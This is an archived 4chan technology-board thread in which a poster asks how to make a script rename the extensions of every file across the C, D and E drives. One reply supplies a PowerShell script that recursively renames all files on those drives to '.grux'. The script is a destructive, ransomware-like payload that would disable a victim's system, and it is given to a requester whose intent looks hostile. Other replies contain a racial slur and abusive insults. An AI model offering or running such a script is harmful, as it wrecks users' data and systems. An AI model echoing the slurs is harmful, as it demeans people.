[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

Changing file extensions

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 10
Thread images: 2

File: 20170512_203113.jpg (4MB, 2576x1932px) Image search: [Google]
20170512_203113.jpg
4MB, 2576x1932px
Pic related

How can I make this target all the files in the whole C drive, including folders and subfolders, also how to make it target multiple areas C,D,E drive
>>
If you're trying to make ransomware, use c/c++ not fucking batch
>>
>>60356785
What are you trying to do?
>>
>>60356785
Preemptively give them back Jamal
>>
>>60356785
Surely this is a joke thread, right
>>
File: 57c.jpg (112KB, 857x1202px) Image search: [Google]
57c.jpg
112KB, 857x1202px
>>60356785
>>
I'm not gonna lie, BASH is infinitely better for this shit.
>>
Something like this, maybe?

$drives = ("C:/", "D:/", "E:/")
foreach $drive in $drives {
Get-ChildItem $drive -Recurse | ForEach-Object {
if ($_ -is [System.IO.FileInfo]) {
$fullname = $_.get_FullName() # Filename + Path
$ext = $_.get_Extension() # File Extension
$name = $_.get_Name() # Filename w/o Path

Rename-Item $fullname $name.Replace($ext, ".grux")
}
}
}


Untested, but it should have the effect of "for each drive letter, recursively rename every file in all subdirectories as the same filename, with all instances of its file extension replaced with .grux". The only weird part about this is that it would replace foo.jpg.jpg as foo.grux.grux. Oh well.

Why are you using Batch, anyways? It's a terrible language.
>>
>>60357190
you are correct

>>60356785
you are a fucking nigger that needs some cancer in those tiny balls. Get fucked.
>>
>>60356890
kek
Thread posts: 10
Thread images: 2


[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y] [Search | Top | Home]

I'm aware that Imgur.com will stop allowing adult images since 15th of May. I'm taking actions to backup as much data as possible.
Read more on this topic here - https://archived.moe/talk/thread/1694/


If you need a post removed click on it's [Report] button and follow the instruction.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com.
If you like this website please support us by donating with Bitcoins at 16mKtbZiwW52BLkibtCr8jUg2KVUMTxVQ5
All trademarks and copyrights on this page are owned by their respective parties.
Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
This is a 4chan archive - all of the content originated from that site.
This means that RandomArchive shows their content, archived.
If you need information for a Poster - contact them.